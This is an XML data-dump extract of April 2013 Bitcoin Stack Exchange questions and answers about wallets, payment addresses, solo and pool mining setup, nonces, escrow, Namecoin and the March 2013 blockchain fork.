  <row Id="10105" PostTypeId="1" CreationDate="2013-04-23T00:26:53.023" Score="1" ViewCount="840" Body="&lt;p&gt;I just changed my Identifier and password; I guess I didn't type in my password the way I remember it, because it is not letting me in. I don't know how to open this dang &quot;aes.json&quot; backup file they sent me. How do I open that?&lt;/p&gt;&#xA;" OwnerUserId="4588" LastEditorUserId="2306" LastEditDate="2013-04-23T00:38:39.220" LastActivityDate="2013-04-23T00:38:39.220" Title="blockchain.info open &quot;aes.json&quot; with partial password" Tags="|wallet|blockchain-wallet-app|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10106" PostTypeId="2" ParentId="10103" CreationDate="2013-04-23T01:06:02.403" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This is a question of efficiency regarding MH/s. Simply, I would like to know which is better&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter. Every hash has an equal probability of finding a block. However, that being said, there's some hidden teeth:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Putting graphics cards together will make them harder to cool.&lt;/li&gt;&#xA;&lt;li&gt;Putting them in multiple computers will use more electricity - all computers use some electricity, even at idle.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could the answer please include efficiency for both solo mining and pool mining?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My advice applies for both.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-23T01:06:02.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10107" PostTypeId="1" CreationDate="2013-04-23T01:21:36.410" Score="0" ViewCount="2326" Body="&lt;p&gt;I have one bitcoin ewallet and this has one bitcoin payment address.  I have read we should change our bitcoin payment address frequently for security reasons.  How do we do that?&lt;/p&gt;&#xA;" OwnerUserId="4589" LastActivityDate="2013-04-23T03:22:00.667" Title="How To Get a New Bitcoin Payment Address" Tags="|blockchain|network|money|payment|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10109" PostTypeId="1" AcceptedAnswerId="10128" CreationDate="2013-04-23T01:56:41.057" Score="2" ViewCount="16523" Body="&lt;p&gt;I downloaded Bitcoin-Qt and synched.  I downloaded pyminer to help me understand the mining process.  But I need a username and password.  Where do I get them for solo mining?&lt;/p&gt;&#xA;" OwnerUserId="4591" LastEditorUserId="5406" LastEditDate="2016-04-09T07:41:18.830" LastActivityDate="2017-07-24T22:16:35.703" Title="Where do I get my username and password for solo mining?" Tags="|miner-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10110" PostTypeId="1" CreationDate="2013-04-23T01:56:49.307" Score="2" ViewCount="941" Body="&lt;p&gt;I've read this article: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9085/what-are-routine-escrow-mechanisms&quot;&gt;What are &amp;quot;routine escrow mechanisms&amp;quot;?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't understand the bitcoin escrow system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain me how this escrow system doesn't need a third party ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : How is solving problems the third party solve in online exchange ?&lt;/p&gt;&#xA;" OwnerUserId="4590" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-11-29T18:45:48.387" Title="Why don't bitcoin escrow transactions require a third party?" Tags="|escrow|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10114" PostTypeId="2" ParentId="10100" CreationDate="2013-04-23T03:16:43.580" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have some idea of what Namecoin was trying to achieve, but as of yet I've never seen it actually used. Is it being used for anything of significance yet, or are there plans by anyone to do so in the short to medium term?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If a distributed, first-come-first-serve domain name system for the &lt;code&gt;.bit&lt;/code&gt; top-level domain (TLD) is significant, then yes, it has done something significant. There are several draft proposals for &lt;a href=&quot;http://dot-bit.org/Main_Page#Namespaces&quot;&gt;additional namespaces&lt;/a&gt; to cover things like messaging, identity, and &lt;code&gt;.tor&lt;/code&gt; and &lt;code&gt;.i2p&lt;/code&gt; TLDs.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I were to register a .bit domain name and host a website, can everybody with a standard internet connection setup access it, or is special software or other setup required?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is and will likely always be some kind of special setup required to access domains that have not been approved by &lt;a href=&quot;https://en.wikipedia.org/wiki/ICANN&quot;&gt;ICANN&lt;/a&gt;. If you're unable to resolve &lt;a href=&quot;http://dot-bit.bit/&quot;&gt;dot-bit.bit&lt;/a&gt;, then your domain name servers are not configured for it. I've used the DD-WRT instructions in the &lt;a href=&quot;http://dot-bit.org/HowToBrowseBitDomainsAdvanced&quot;&gt;How To Browse .bit Domains&lt;/a&gt; guide with success. The servers change infrequently.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-23T03:16:43.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10115" PostTypeId="2" ParentId="10110" CreationDate="2013-04-23T03:18:51.770" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;Escrow is not a feature of Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;You don't need escrow for the Bitcoin part. You could need escrow for the USD part if you buy Bitcoins for USD, but not for the Bitcoin part.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="558" LastEditorUserId="5822" LastEditDate="2013-11-29T18:45:48.387" LastActivityDate="2013-11-29T18:45:48.387" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10116" PostTypeId="2" ParentId="10107" CreationDate="2013-04-23T03:22:00.667" Score="2" Body="&lt;p&gt;Most online wallets will create for you a new address each time you indicate that you want to receive a transaction, or give the option of creating a new address. Some enforce this by never showing an address twice and simply handle amalgamation  on the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a new address for each transaction is a fool-proof way of ensuring that someone has paid you, because you've given that address to only that person and no one else. There are also some privacy benefits, as using a new address makes it more difficult to trace the bitcoin trail.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-23T03:22:00.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10117" PostTypeId="1" CreationDate="2013-04-23T03:30:42.063" Score="3" ViewCount="801" Body="&lt;p&gt;I've seen this question pop up on reddit multiple times, and I don't know the answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I do know that in my own wallet, several unlabelled addresses have appeared over time without me requesting for them to be created. Are these be the change addresses used when I spend bitcoins, or are the change addresses invisible from the GUI?&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-04-24T06:48:34.497" Title="Are change addresses visible from the GUI in the Bitcoin-QT client?" Tags="|bitcoin-core|change|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10118" PostTypeId="2" ParentId="10110" CreationDate="2013-04-23T04:02:09.883" Score="2" Body="&lt;p&gt;Bitcoin escrow schemes that don't require a third party typically don't require a third party because that is one of their design requirements. It's obviously much easier to design an escrow system that does require a third party, so typically you would only design one that didn't if you had no choice.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-23T04:02:09.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10119" PostTypeId="2" ParentId="10109" CreationDate="2013-04-23T04:39:14.103" Score="2" Body="&lt;p&gt;You just make them up. They just need to match on both ends (the bitcoin program and the mining program).&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-23T04:39:14.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10120" PostTypeId="2" ParentId="10117" CreationDate="2013-04-23T07:53:10.093" Score="2" Body="&lt;p&gt;Change addresses should be invisible from the wallet GUI.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-23T07:53:10.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10121" PostTypeId="2" ParentId="10091" CreationDate="2013-04-23T08:13:50.147" Score="2" Body="&lt;p&gt;I emailed them and the answer was:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hello,&lt;/p&gt;&#xA;&lt;p&gt;That is fine. We have no restrictions at the moment.&lt;/p&gt;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&lt;p&gt;MtGox.com Team&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So that's pretty awesome!&lt;/p&gt;&#xA;" OwnerUserId="4575" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-04-23T11:04:40.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10122" PostTypeId="1" CreationDate="2013-04-23T10:26:21.763" Score="5" ViewCount="230" Body="&lt;p&gt;Can I use my mtgox BTC balance on the mtgox checkout button/payment platform while my account is pending verification ? Like purchase goods and services from people who use the mtgox merchant tools to accept BTC on their sites.&lt;/p&gt;&#xA;" OwnerUserId="4599" LastEditorUserId="516" LastEditDate="2013-04-23T11:06:21.087" LastActivityDate="2013-06-22T20:37:18.970" Title="Can I use my mtgox BTC balance on the mtgox checkout button/payment platform while my account is pending verification?" Tags="|mtgox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10123" PostTypeId="1" AcceptedAnswerId="10124" CreationDate="2013-04-23T14:42:13.413" Score="1" ViewCount="230" Body="&lt;p&gt;It's not allowing me to see any TX's or addresses. It just says &quot;No operations allowed after connection closed. Connection closed after inability to pick valid new connection during fail-over.&quot;&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="2306" LastEditDate="2015-08-31T21:46:37.213" LastActivityDate="2015-08-31T21:46:37.213" Title="blockchain.info: &quot;No operations allowed after connection closed.&quot;" Tags="|blockchain.info|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10124" PostTypeId="2" ParentId="10123" CreationDate="2013-04-23T14:46:40.497" Score="1" Body="&lt;p&gt;A few minutes ago they restarted the servers, and they won't allow you to make transactions while they're not connected to the network. Since a restart implies a temporary disconnect, you just have to wait a few minutes.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-23T14:46:40.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10125" PostTypeId="1" AcceptedAnswerId="10137" CreationDate="2013-04-23T17:03:20.690" Score="2" ViewCount="1394" Body="&lt;p&gt;Since we're just trying to produce a specific hash output, couldn't the nonce also include letters or otherwise random bits?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="5406" LastEditDate="2016-04-09T07:44:57.147" LastActivityDate="2016-04-09T07:44:57.147" Title="Does the nonce have to be a number?" Tags="|mining-technical-details|nonce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10126" PostTypeId="2" ParentId="10125" CreationDate="2013-04-23T17:18:33.137" Score="3" Body="&lt;p&gt;Technically, the nonce is just 4 bytes that are ignored. There's no reason why the block couldn't contain &quot;Nick&quot; in ASCII, or somebody's phone number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the fastest way to mine is to start with a nonce of all 0's, then increment it.&lt;/li&gt;&#xA;&lt;li&gt;an easier way to embed data into the blockchain is to use fields in the coinbase.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-23T17:18:33.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10127" PostTypeId="2" ParentId="10077" CreationDate="2013-04-23T17:18:47.470" Score="0" Body="&lt;p&gt;You can buy bitcoins through Ripple:  &lt;a href=&quot;https://ripple.com&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4424" LastActivityDate="2013-04-23T17:18:47.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10128" PostTypeId="2" ParentId="10109" CreationDate="2013-04-23T18:55:31.650" Score="2" Body="&lt;p&gt;Add a file named &lt;code&gt;bitcoin.conf&lt;/code&gt; &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;to your data directory&lt;/a&gt; with the following values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # server=1 tells Bitcoin-QT to accept JSON-RPC commands.&#xA; server=1&#xA;&#xA; # You must set rpcuser and rpcpassword to secure the JSON-RPC api&#xA; rpcuser=user&#xA; rpcpassword=&amp;lt;a password you make up&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tell pyminer to mine at localhost with the password/username combo you just used.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-04-23T20:08:42.720" LastActivityDate="2013-04-23T20:08:42.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10129" PostTypeId="2" ParentId="10122" CreationDate="2013-04-23T19:55:58.980" Score="2" Body="&lt;p&gt;Yes, verification is only for increasing the amount of BTC and other currency you can move&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;up to 10x your current daily limit, and up to 5x your current monthly limit&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;through their service. It also enables you to use other services with mtgox such as &lt;a href=&quot;https://www.dwolla.com/&quot; rel=&quot;nofollow&quot;&gt;dwolla&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-23T19:55:58.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10130" PostTypeId="2" ParentId="9956" CreationDate="2013-04-23T20:32:36.727" Score="5" Body="&lt;p&gt;Here is a story published on &lt;a href=&quot;http://www.businessweek.com/articles/2013-04-10/meet-the-bitcoin-millionaires&quot;&gt;Bloomberg Businessweek&lt;/a&gt; about &quot;the millionaires of Bitcoin&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“I’ve got a friend who forgot he had his computer mining Bitcoins in&#xA;  his garage—he checked and it’s worth about $12 million today,” says&#xA;  Kenna, 30, who is chief executive officer of Tradehill.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The same article also mentions Yifu Guo, the founder of &lt;a href=&quot;http://avalon-asics.com&quot;&gt;Avalon ASICs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yifu Guo was a digital media student at New York University when he&#xA;  began mining some of the first coins, occasionally cashing in a few to&#xA;  help pay his rent. After he recognized Bitcoin’s potential, he quit&#xA;  school and founded a company called Avalon, which sells hardware built&#xA;  solely for the purpose of mining Bitcoins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(Not an answer to your question, but the article also mentions other people that made big money doing other business related to Bitcoin other than mining.)&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-23T20:32:36.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10131" PostTypeId="1" AcceptedAnswerId="10222" CreationDate="2013-04-23T23:42:43.267" Score="5" ViewCount="10509" Body="&lt;p&gt;I've installed a mining client on My Macbook pro, which was giving almost 1 MHash/s at full capicity. I found on some reddit thread that Mining may affect the hardware i.e. mother board or graphic card and their lifespan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is what will the mining work do to my laptop's(or pc's) hardware? Will it burn it out? How can I optimize the machine to be Mining friendly?&lt;/p&gt;&#xA;" OwnerUserId="4326" LastEditorUserId="2306" LastEditDate="2016-03-09T23:12:30.033" LastActivityDate="2018-07-03T04:14:40.343" Title="Effect of Mining on Hardware" Tags="|mining-profitability|mining-hardware|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10132" PostTypeId="2" ParentId="10131" CreationDate="2013-04-23T23:47:34.190" Score="2" Body="&lt;p&gt;Laptops aren't made to remove the heat that a GPU running constantly puts out.  Heat causes materials to expand and eventually fail, or it causes them to exceed spec and fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are just getting 1 Mhash/s you probably aren't using the GPU.  That still isn't safe on a laptop, but  .... what's the point?   That's worth like maybe ten cents a month?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-23T23:47:34.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10133" PostTypeId="1" AcceptedAnswerId="10135" CreationDate="2013-04-23T23:52:48.193" Score="1" ViewCount="20670" Body="&lt;p&gt;Just for fun i decided to check out bit coins and do some mining. No visions of making millions or anything I just find the concept pretty cool. At any rate I have installed guiminer in windows and i have installed the bit coin wallet from the bitcoin site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i get my address so that i can have someone send me funds and in the mining software how do i set it up so that it knows where to deposit funds? I have it up and running using btc guild pool but it has never asked me about how to send me bit coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused i feel  like i am missing the most important piece of the puzzle.&lt;/p&gt;&#xA;" OwnerUserId="4601" LastEditorUserId="516" LastEditDate="2013-04-24T00:09:47.460" LastActivityDate="2019-01-24T20:38:07.343" Title="When pool mining, how do I get paid?" Tags="|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10134" PostTypeId="2" ParentId="10131" CreationDate="2013-04-23T23:59:10.427" Score="1" Body="&lt;p&gt;The major reason why hardware ages is constant thermal changes. In other words, going hot-&gt;cold-&gt;hot-&gt;cold. Not really a big problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. A back of the envelope calculation shows that you will make 1 cent a day.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-23T23:59:10.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10135" PostTypeId="2" ParentId="10133" CreationDate="2013-04-24T00:03:52.393" Score="2" Body="&lt;p&gt;You need to get a receiving address from the client (or from an e-wallet if you prefer) and copy and paste it into the address field against your account in BTCGuild. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bear in mind that if you're using the Bitcoin-QT client there is a very long synchronisation process to wait for, though you may be able to get a receiving address before it completes (but you won't see any received bitcoins in your wallet until it's synchronised). Depending on your hardware and bandwidth, synchronisation may take several days to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there's no receiving address against your BTCGuild account, you'll just be accumulating bitcoins against your BTCGuild balance, so you aren't losing anything in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bear in mind that the &quot;difficulty&quot; level of mining for the network as a whole has risen to a very high level due to the arrival of highly efficient dedicated ASIC bitcoin mining hardware. This means mining on graphics cards is likely no longer profitable (depending on purchase and electricity costs) and CPU mining hasn't been profitable for a long time.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-04-24T00:03:52.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10136" PostTypeId="2" ParentId="10133" CreationDate="2013-04-24T00:09:45.410" Score="1" Body="&lt;p&gt;Well I am new to this too, but already did research on it. The BitCoin client and Mining Client is two different software for two different purposes(They used to be same, I read it somewhere). The Bitcoin client is just for handling your wallet, safegaurding your private keys, creating public keys (aka receiving addresses). I'd suggest you to try an e-client for eg. &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;BlockChain&lt;/a&gt; in beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is another thing where you lend your pc's computing power to Bitcoin blockchains in return of free Bitcoins. It really sucks out your processing power.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in general you'll just need a BTC client which will generate a receiving address for you which you can paste on the site of the mining pool you're using for mining. You can generate different address for different pools (or senders), so that you can track who's sending how much.&lt;/p&gt;&#xA;" OwnerUserId="4326" LastActivityDate="2013-04-24T00:09:45.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10137" PostTypeId="2" ParentId="10125" CreationDate="2013-04-24T00:22:56.967" Score="5" Body="&lt;p&gt;The nonce is an arbitrary string of bits with no particular meaning. Typically they are converted into an unsigned integer for convenience. Every possible set of nonce bits has a corresponding integer in this representation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get letter in a nonce, you'd have to present the bits in the nonce in some encoding scheme that had some way to encode letters. There is no such scheme in common use.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-24T03:03:28.923" LastActivityDate="2013-04-24T03:03:28.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10138" PostTypeId="2" ParentId="9986" CreationDate="2013-04-24T02:29:39.223" Score="5" Body="&lt;p&gt;The core concept has always been accept the largest blockchain that passes the predetermined proof of work tests. Hard forks like the one that occurred in March happen as a result of some software in the p2p ecosystem having a different understanding of what the legitimate blockchain should be. This reality is ok with all distributive networks to some extent and usually gets resolved rather quickly and in many cases autonomously&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet march was special in that the 0.8 clients could never agree with the 0.7 clients due an issue processing a larger than normal transaction volume, but 0.7 clients still had 60% or so of the total hash power. In essence the network had two different legitimate bitcoins floating about. Your question was who got to decide which one was the legitimate chain and what happened to the coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTCGuild and Slush got to decide as they collectively control over 51% of the network's hash power. And also some people had to accept that the blocks in the orphan fork had to be lost for the good of Bitcoin. It isn't necessarily fair. It isn't fun. But Gavin and others handled it both quickly and transparently.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The next time there's a fork like this, it may not be so&#xA;  straightforward. The miners may not all agree on the proper resolution&#xA;  for the issue.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a valid concern and is something we accept as a community to be an issue. Generally speaking people tend to be self-interested and miners have a vested interest in preserving the value of Bitcoin. Thus always assume behavior will be economically motivated as Satoshi did in his paper discussing honest nodes. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any documented set of rules (bye-laws) explaining how such&#xA;  forks are to be resolved in the future?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No and there will never be because that implies an organization asserts the right to prescribe behavior in the community, which defeats the whole point of having a decentralized p2p currency. Only when pool operators decide to group up with more than 51% hash power can they make decisions for Bitcoin. This rarely happens unless an event like March occurs that could damage the integrity of the entire system &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If there's a conflict among the parties involved, who has the final&#xA;  say?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Whoever has 51% hash power. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PS: Any comments on Bitcoin's so-called (faux) &quot;decentralized&quot;&#xA;  architecture are also welcome, given my other question has been&#xA;  censored. The decentralization doesn't seem to work after all, which&#xA;  begs the question as to what the whole point of the proof-of-work&#xA;  scheme is anyway.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've been censored as well and no bitcoin is currently not decentralized as envisioned. I mention this in my Bitcoin course using the notion of oligarchiness as a measure of central control. There are a handful of very influential people currently developing and maintaining the bitcoin ecosystem. They have a dramatic say in how the money works and the software to use it. Over time as more actors enter the marketplace and nation states begin to use Bitcoin, this will be reduced until eventually no one party has control. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that at one time Satoshi had 100% of all bitcoins in circulation and the software running the network. We have made wonderful strides over the past 4 years and will continue to do so over the next 4 years. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="4070" LastEditDate="2013-04-24T02:50:45.657" LastActivityDate="2013-04-24T02:50:45.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10139" PostTypeId="1" CreationDate="2013-04-24T05:14:32.007" Score="0" ViewCount="283" Body="&lt;p&gt;Bitcoin, Ripple, PPCoin, Freicoin and most other cryptocurrencies have a significant portion of the currency in the hands of early adopters or a central group charged with 'distributing' the currency. Does anyone know which has been the most successful at distributing the coins evenly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2349" LastActivityDate="2013-04-24T09:02:40.657" Title="Which crypto-currency has the most even distribution of wealth?" Tags="|alternatives|currencies|" AnswerCount="1" CommentCount="1" ClosedDate="2013-04-24T15:51:08.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="10140" PostTypeId="2" ParentId="10117" CreationDate="2013-04-24T05:20:42.413" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, I do know that in my own wallet, several unlabelled addresses&#xA;  have appeared over time without me requesting for them to be created.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Could you provide a bit more clarity on where these addresses have appeared? In Wallet.dat after using PyWallet or in the receive coins gui? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-Qt uses a regenerating key pool of a 100 pregenerated keys mechanism to handle change&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Key_pool&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and to read Satoshi's words:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1414.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1414.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are these be the change addresses used when I spend bitcoins, or are&#xA;  the change addresses invisible from the GUI?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My understanding is that all change addresses should be invisible in the normal GUI. The only way you should be able to see them is if you open wallet.dat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spoke with Wladimir here is his reponse:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;That indeed sounds weird.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The old UI (wxbitcoin) used to generate new, unlabaled addresses in&#xA;  some circumstances. With Bitcoin-Qt this should not be happening.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The wallet starts with one receiving address, and all receiving&#xA;  addresses after that should be manually created. If receiving&#xA;  addresses still appear out of the blue with 0.8.x this is a (minor)&#xA;  bug. To be able to fix it I need a way to reproduce it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Could you take some screenshots and also forward me your hardware configuration. I'll send it to him and hopefully we can try to reproduce it on his end.&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="4070" LastEditDate="2013-04-24T06:48:34.497" LastActivityDate="2013-04-24T06:48:34.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10141" PostTypeId="1" CreationDate="2013-04-24T07:30:05.673" Score="0" ViewCount="1262" Body="&lt;p&gt;I make a getwork request and get back data, hash1, midstate, and target. Mining on a KC705 development FPGA board, and following the readme.md file here:&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/progranism/Open-Source-FPGA-Bitcoin-Miner/tree/master/projects/KC705_experimental&quot; rel=&quot;nofollow&quot;&gt;https://github.com/progranism/Open-Source-FPGA-Bitcoin-Miner/tree/master/projects/KC705_experimental&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do a uart_write of a section of data plus the midstate, and that would return the golden nonces. Doing that does in fact return the 0E33337A as stated along with two others, 9CCDEF20 and ACBBA77F.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I start getting confused. Given the response from the getwork request and 3 nonces, what exactly am I submitting back? From what I gather, I am supposed to do a hash using each nonce, check it if it's smaller than the target, and if it is, submit that hash?&lt;/p&gt;&#xA;" OwnerUserId="4606" LastEditorUserId="5406" LastEditDate="2016-04-28T13:56:23.810" LastActivityDate="2016-04-28T13:56:23.810" Title="Mining: GetWork, Get Nonce, ???, Submit Hash?" Tags="|development|mining-technical-details|getwork|fpga|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
